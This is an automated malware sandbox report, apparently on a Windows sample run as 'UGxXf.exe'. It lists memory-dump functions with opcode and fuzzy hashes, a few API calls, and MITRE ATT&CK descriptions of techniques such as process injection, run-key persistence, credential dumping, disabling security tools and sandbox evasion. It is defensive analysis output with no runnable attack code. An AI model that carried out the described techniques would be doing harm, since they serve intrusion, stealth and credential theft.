Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b94bff98daf553622c188883c3aa486244dec2e67a6c4374bf1c59f56342198
Instruction ID: 3d21523bb2c66d3160c2e03e033dbda3c8cf06111a30e9c7e1ed7f9f8f0c4dc6
Opcode Fuzzy Hash: 4b94bff98daf553622c188883c3aa486244dec2e67a6c4374bf1c59f56342198
Instruction Fuzzy Hash: 79E0ED35B100188B8F84E7F9E8519DD73E7BB883657148439E50ADB354DE349C5287E5

Uniqueness

Uniqueness Score: -1.00%

Function 00616F9B, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58bc1e0b34efddb1693696d23f0840f97320cebd0138b262ba7406a576711af3
Instruction ID: 046f6d8271ef37c85df0c8a323dd541a1170cf6bfd8ef07e2471b397b42f172f
Opcode Fuzzy Hash: 58bc1e0b34efddb1693696d23f0840f97320cebd0138b262ba7406a576711af3
Instruction Fuzzy Hash: 59E06D35B100188B8F84E7FEE8519DD73E3AB883617008039E10ADB350EE34AC5287A1

Uniqueness

Uniqueness Score: -1.00%

Function 00612483, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3332bed92572e2dfaad11b449d68abb2a26cd4e285105f3383dda57d3f2999bc
Instruction ID: eda90adba527da878fea8ef88ccc0b454bc7f72330869f2e1069aa608c739e95
Opcode Fuzzy Hash: 3332bed92572e2dfaad11b449d68abb2a26cd4e285105f3383dda57d3f2999bc
Instruction Fuzzy Hash: 93D05B35B4111D5BEB10CE90DC51BEFB776DBC4725F104055E209BB2C4C9311D5187A1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00617467, Relevance: 2.8, Strings: 2, Instructions: 299COMMON

Download Yara Rule

Strings

HVl, xrefs: 00617540
HVl, xrefs: 006174C2

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: HVl$HVl
API String ID: 0-1754981680
Opcode ID: 9c5fc9215e70a0dd1f0e131fa920fcdbf77117d840bcdb6f5fd3ff91db470195
Instruction ID: 05d7ae70176316deafb8c06542ea106f9dfd2258c653506afdf226951a59e2e7
Opcode Fuzzy Hash: 9c5fc9215e70a0dd1f0e131fa920fcdbf77117d840bcdb6f5fd3ff91db470195
Instruction Fuzzy Hash: DDC18B34B042188FCB58DF74D890BADB7B3AF85304F1884AAD509DB395DB34DD868B91

Uniqueness

Uniqueness Score: -1.00%

Function 023F4D50, Relevance: 2.8, Strings: 2, Instructions: 281COMMON

Download Yara Rule

Strings

JFj, xrefs: 023F4EA8
,GFj, xrefs: 023F5007

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID: ,GFj$JFj
API String ID: 0-2699207506
Opcode ID: 6b98bed031b820edb508cbaf409e0625541de12daa13c2b7ad6d873305026f14
Instruction ID: 897a542fb7c23dd01688276badba012ea79da623c316037defba959821db071d
Opcode Fuzzy Hash: 6b98bed031b820edb508cbaf409e0625541de12daa13c2b7ad6d873305026f14
Instruction Fuzzy Hash: 48B16E70E003098FDB50CFA9E8847DEBBF2AF88748F158529DA19E7654EB749845CF81

Uniqueness

Uniqueness Score: -1.00%

Function 006132E0, Relevance: 1.7, Strings: 1, Instructions: 421COMMON

Download Yara Rule

Strings

LCR, xrefs: 006134B9

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: LCR
API String ID: 0-3639640488
Opcode ID: 4065b7371fb389cd2726e89fdeba8a7b56e0f08cfba58f41a7691f1fd691542d
Instruction ID: 4eac03dff12113e9eb4a88093f0261eb8ba2a2cca0f1699995792186bb0c762e
Opcode Fuzzy Hash: 4065b7371fb389cd2726e89fdeba8a7b56e0f08cfba58f41a7691f1fd691542d
Instruction Fuzzy Hash: 68028B34A04224DFD758DF64C944A9DBBB3AB84314F59C52AD51AAF364DB30EE86CF80

Uniqueness

Uniqueness Score: -1.00%

Function 0061342F, Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

LCR, xrefs: 006134B9

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: LCR
API String ID: 0-3639640488
Opcode ID: 9ecf4ff576a8e6a6051d9e71809c77d38d1aecde0f47de17d6fe1b8ccb739e72
Instruction ID: a9d313a2bddb420493bcd423dce17e3a29dc8aed236035da71a6d645e05b4cf1
Opcode Fuzzy Hash: 9ecf4ff576a8e6a6051d9e71809c77d38d1aecde0f47de17d6fe1b8ccb739e72
Instruction Fuzzy Hash: 40D16634A00214DFD718DF64C944A99BBB3BB85315F69C52AD41AAF365DB30EE85CF80

Uniqueness

Uniqueness Score: -1.00%

Function 00615ABE, Relevance: 1.5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

Strings

((''''*//, xrefs: 00615BA8

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: ((''''*//
API String ID: 0-655613435
Opcode ID: 586f2094af4c368ae8ffc9ccaccd1acf360f0f21d0629d565a2dce747ba1e5ab
Instruction ID: a64a8baf970c0869dcd3fdaab643fe0aba3c8af91f3dab15201e490521be0574
Opcode Fuzzy Hash: 586f2094af4c368ae8ffc9ccaccd1acf360f0f21d0629d565a2dce747ba1e5ab
Instruction Fuzzy Hash: FC91CF34B14605CFCB58DF78D9946EDB6E3AFC4350B188566E407EB3A4DA30DE828B81

Uniqueness

Uniqueness Score: -1.00%

Function 0061FBF0, Relevance: 1.5, Strings: 1, Instructions: 211COMMON

Download Yara Rule

Strings

pY\, xrefs: 0061FDBB

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: pY\
API String ID: 0-2438411297
Opcode ID: 52d3cf95182b46883105158a6189b1f56296f5a52d6ab4e0fde825c5e2f2b6b9
Instruction ID: 490e2d7d3d641d911ab0683956470041cca02dae72ca19c70441ef30506b8564
Opcode Fuzzy Hash: 52d3cf95182b46883105158a6189b1f56296f5a52d6ab4e0fde825c5e2f2b6b9
Instruction Fuzzy Hash: 6C713830B101099BCB98EBB8E9606AE73E7ABC5354F148536D10AD73A4DF34DC4647D1

Uniqueness

Uniqueness Score: -1.00%

Function 0061812F, Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

h, xrefs: 006181E9

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: h
API String ID: 0-1693434541
Opcode ID: c63d06d817ed80a409da8ec1687a9fdd017590bd85608c55cd263f2f70199d06
Instruction ID: 02f53f50d96a909137ff01ff40bd0be770b2a0a7cd44264b9acf94dba94d6eac
Opcode Fuzzy Hash: c63d06d817ed80a409da8ec1687a9fdd017590bd85608c55cd263f2f70199d06
Instruction Fuzzy Hash: 67614A34A00218CFDB64DB64D891ADDB7B2FB85314F2884A6D40AEB355DB309E86CF81

Uniqueness

Uniqueness Score: -1.00%

Function 0061B788, Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12eb7ba5c1edc1aa0836396a3e42a811ef9be0449370ebf45fad5848908f8979
Instruction ID: e42d22ea2f819154611fdac3340392cd9b747575d6e132cf9e8ccca0b945e2ce
Opcode Fuzzy Hash: 12eb7ba5c1edc1aa0836396a3e42a811ef9be0449370ebf45fad5848908f8979
Instruction Fuzzy Hash: FDD1CE30F041058BCB44DBA8D581AEDB7F3AF88314F19956AD515EB3A8DB30DD868BC5

Uniqueness

Uniqueness Score: -1.00%

Function 0061AF28, Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28d68a2e741f40103290b5d76ea480b858355f3548a54965de0bf71a2bbca048
Instruction ID: 9cf10894ed4fb8d72e5c825e063a6dbec5bdaa145befc3d334f7c9480fad4519
Opcode Fuzzy Hash: 28d68a2e741f40103290b5d76ea480b858355f3548a54965de0bf71a2bbca048
Instruction Fuzzy Hash: 89D1AF30B00219CBDB58DFB5C9506AE73A7AF84314F25993AD506EF395EB30DD868B80

Uniqueness

Uniqueness Score: -1.00%

Function 0061A1B0, Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 595b5faa0d4fccf2f894dae7d1a6e0164a26f09039f6b30f4f39270043dd54df
Instruction ID: abd7de06876f4ea22f67653a13302aa0abc8e3d74d0cd469b2ef27e0d6960d06
Opcode Fuzzy Hash: 595b5faa0d4fccf2f894dae7d1a6e0164a26f09039f6b30f4f39270043dd54df
Instruction Fuzzy Hash: 05D1A334B011098FCB04CBE8D990ADDB7B3AF84354F2D8566E416DF395D630EE869B82

Uniqueness

Uniqueness Score: -1.00%

Function 0061A1C0, Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e456105930deb014ca0bce3ce5df1d2aa5f5ba81861dbbe5c8cd6b01efd23ff
Instruction ID: 3a53441d118e246a3f47d53b139a6e11b25a83f914ab17254eb0b8b7145b8f0e
Opcode Fuzzy Hash: 2e456105930deb014ca0bce3ce5df1d2aa5f5ba81861dbbe5c8cd6b01efd23ff
Instruction Fuzzy Hash: 48D1B334B011098BCB04DBE8D990ADDB7B3AF84354F2D8526E416DF395D730EE869B82

Uniqueness

Uniqueness Score: -1.00%

Function 00600115, Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 395b28e0b2412d846e5918e5e77ec95d29dd01a123a1ae4d76aa18241964bea2
Instruction ID: a294d3112c25291f6555ad90a40a2b1e2a0ea247a788abd80edd7bb1e301bed6
Opcode Fuzzy Hash: 395b28e0b2412d846e5918e5e77ec95d29dd01a123a1ae4d76aa18241964bea2
Instruction Fuzzy Hash: F1B1DF30B50105DBEB58AFA4DD50B6E76E3AB84310F24C66AE615DF3E5DB30DC068B85

Uniqueness

Uniqueness Score: -1.00%

Function 023FCFF8, Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b73088eabb1c08c719d02688b81d38e1a7cfa773655675748356f5a4db27f385
Instruction ID: 4853af1dd03ba48a2860d1e9bbf13791ca32fe824b5dffd6ff31185c306cb55a
Opcode Fuzzy Hash: b73088eabb1c08c719d02688b81d38e1a7cfa773655675748356f5a4db27f385
Instruction Fuzzy Hash: EBB1E831B0010D8BCB48CB68E588AADFBB2AF85310F14C25AD615EF796C735ED46CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0061F5E8, Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa6a9954c594d731bb1362f1fae9462be23234824b2037d02a50d320f1f9d593
Instruction ID: 6f17ef725658e982a5bf92db1a193d62502a2e831ba13133ec8ca8bd4d131355
Opcode Fuzzy Hash: fa6a9954c594d731bb1362f1fae9462be23234824b2037d02a50d320f1f9d593
Instruction Fuzzy Hash: 7761F934B101049BCB98AFB4E950AAE77A7FFC8354F148539E5069B3A8DF309D564BC1

Uniqueness

Uniqueness Score: -1.00%

Function 0061764F, Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0e622c81708386502ab1e8fdf7fbe647c7d7c1fcd9e13043dbf03de692d0a0f
Instruction ID: 8a762b6dbee419f511bd688cec1b10fe0df2c8688f32192a63a49b4cdf0d21df
Opcode Fuzzy Hash: b0e622c81708386502ab1e8fdf7fbe647c7d7c1fcd9e13043dbf03de692d0a0f
Instruction Fuzzy Hash: 54619E35A08219CBCB54CFA4E9447EDB7B7AB84315F1884A6D519DB264C730DECACF41

Uniqueness

Uniqueness Score: -1.00%

Function 0061908D, Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc423aac2f87e1693888e1611396b9d05ac94ad184608ab4dcd5170dd2fdd47c
Instruction ID: 5805c08d64b89acb429378aecf3ec82d2b5f565904a097b1cc41c3626d73e8e6
Opcode Fuzzy Hash: dc423aac2f87e1693888e1611396b9d05ac94ad184608ab4dcd5170dd2fdd47c
Instruction Fuzzy Hash: A551B3B4D052288FCB64CF68D9917DCB7F2FB89310F2484EAD549AB315DB30AA858F51

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: UGxXf.exe PID: 2500 Parent PID: 1388 UGxXf.exeCOMMON

Executed Functions

Function 05280007, Relevance: 20.0, Instructions: 20001COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2340772921.0000000005280000.00000040.00000001.sdmp, Offset: 05280000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 595fd071fb76d125bc751dea4420dca058c0c192370f45e877884eb30109bc15
Instruction ID: ef03ef3664db17ac5dc30251f03bea31f73d86cb684ece7a43ae4659297a6045
Opcode Fuzzy Hash: 595fd071fb76d125bc751dea4420dca058c0c192370f45e877884eb30109bc15
Instruction Fuzzy Hash: E5C41571E11255CFE721DF58C54CAE8B7F5BB04709F9AC0AAD1286F262C3B9D988CB11

Uniqueness

Uniqueness Score: -1.00%

Function 05280048, Relevance: 20.0, Instructions: 20001COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2340772921.0000000005280000.00000040.00000001.sdmp, Offset: 05280000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: effecf2797fa62429cace427251ca421f35a3e9a0ad4f349061c47b5241d515b
Instruction ID: 8fb5d59fae2e11f670ac9a11890132d59264d9961f81aac8fb2abcc94277aac4
Opcode Fuzzy Hash: effecf2797fa62429cace427251ca421f35a3e9a0ad4f349061c47b5241d515b
Instruction Fuzzy Hash: A7C41571E11255CFE721DF58C54CAE8B7F5BB04709F9AC0AAD1286F262C3B9D988CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00A70310, Relevance: 1.7, APIs: 1, Instructions: 230COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00A70369

Memory Dump Source

Source File: 0000000B.00000002.2329945245.0000000000A70000.00000040.00000001.sdmp, Offset: 00A70000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 7f3aae9c55835e7d844395b4c5c9a5f65e53b3fac718c7015dba0f0930f36f64
Instruction ID: a7f38ff3b9a4b80815d0018047d91b8a20e116239acd2bc4c1685500ae975806
Opcode Fuzzy Hash: 7f3aae9c55835e7d844395b4c5c9a5f65e53b3fac718c7015dba0f0930f36f64
Instruction Fuzzy Hash: BAA12D70D00209CFDB14DFA9D898BDDBBB2BF84356F19C419D009AB790D7B99895CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00A70048, Relevance: 1.7, APIs: 1, Instructions: 175COMMON

Download Yara Rule

APIs

SetKernelObjectSecurity.KERNELBASE(?,?,00000000), ref: 00A702BE

Memory Dump Source

Source File: 0000000B.00000002.2329945245.0000000000A70000.00000040.00000001.sdmp, Offset: 00A70000, based on PE: false

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: 7949e7e0ed4f2cf8746d3893b031c19b45a41bda37d0ffc350ff5d768dc2adac
Instruction ID: 75a6a8fcfc2ce4c20647039b520cb15ece5cffa06d8103a7dce89efcbf7f9dbb
Opcode Fuzzy Hash: 7949e7e0ed4f2cf8746d3893b031c19b45a41bda37d0ffc350ff5d768dc2adac
Instruction Fuzzy Hash: D2619B71D042488FCB14DFA8D844BDEBBB1EF89324F14856AE519AB391D7349841CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A70166, Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2329945245.0000000000A70000.00000040.00000001.sdmp, Offset: 00A70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 516022da9fb1e472ee1f35cf0dc3e29fabd84e2b929c1dd76f5ca9ca66f7ad2c
Instruction ID: a8c46dc4a64a5819cd800610462dc5f16c74694d16f9b9cb223df72f6a28b66b
Opcode Fuzzy Hash: 516022da9fb1e472ee1f35cf0dc3e29fabd84e2b929c1dd76f5ca9ca66f7ad2c
Instruction Fuzzy Hash: 78617871D04248CFCB14DFA8D848BDEBBB1BF89324F54C66AE519AB391D7349841CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A702FF, Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00A70369

Memory Dump Source

Source File: 0000000B.00000002.2329945245.0000000000A70000.00000040.00000001.sdmp, Offset: 00A70000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 5db7444f51e396d02161a0a34f6407889e94c57ec9c4ede23113cc4acc2c2819
Instruction ID: e4f99c883ffb1e0f00dde11798d947c01355256af4e14ba72c2d5a2711468165
Opcode Fuzzy Hash: 5db7444f51e396d02161a0a34f6407889e94c57ec9c4ede23113cc4acc2c2819
Instruction Fuzzy Hash: 05614870D00209CFDB04DFA9D898BDDBBB2BF88315F19C519D009AB790D7B9A895CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00A70238, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

SetKernelObjectSecurity.KERNELBASE(?,?,00000000), ref: 00A702BE

Memory Dump Source

Source File: 0000000B.00000002.2329945245.0000000000A70000.00000040.00000001.sdmp, Offset: 00A70000, based on PE: false

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: 301fc73901464e63ff63a4b2e917557f53aeb7cc2bfbc4be41e2a5d819929e84
Instruction ID: 59782537a9a13b13c84ca248b19c407dc93714e342f1d9bae36bcd462f3a3f9d
Opcode Fuzzy Hash: 301fc73901464e63ff63a4b2e917557f53aeb7cc2bfbc4be41e2a5d819929e84
Instruction Fuzzy Hash: 8D210971900209DFCB10CF9AC889BDEBBF4EB89314F54842AD919B7341D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A701CB, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

SetKernelObjectSecurity.KERNELBASE(?,?,00000000), ref: 00A702BE

Memory Dump Source

Source File: 0000000B.00000002.2329945245.0000000000A70000.00000040.00000001.sdmp, Offset: 00A70000, based on PE: false

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: f0468da24dfe423b99f70775848853b658ab3387ec5e2d52db7d7fc11b0f9038
Instruction ID: 8697931880167eb6e1d7d9666ae24b27600bf4e990f61d1b273c5e5ae5503b41
Opcode Fuzzy Hash: f0468da24dfe423b99f70775848853b658ab3387ec5e2d52db7d7fc11b0f9038
Instruction Fuzzy Hash: 23211872A00208CFDB54CFA9C848BEEBBF5AF88315F64C829D519A7341D7789941CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 052E9F2F, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2340772921.0000000005280000.00000040.00000001.sdmp, Offset: 05280000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9d708cf647b61e0909c9be767aa652179ebee9fd27b957e68f4a69dd43e6d42
Instruction ID: 56bce037c3c07022415600654033a580411eeac0f72069a37976230a006b2d6f
Opcode Fuzzy Hash: d9d708cf647b61e0909c9be767aa652179ebee9fd27b957e68f4a69dd43e6d42
Instruction Fuzzy Hash: 981146B4E25305CBDB14DFB0D4449AE7BB6BF88305FA4852AC902A7350DB35D882CF91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
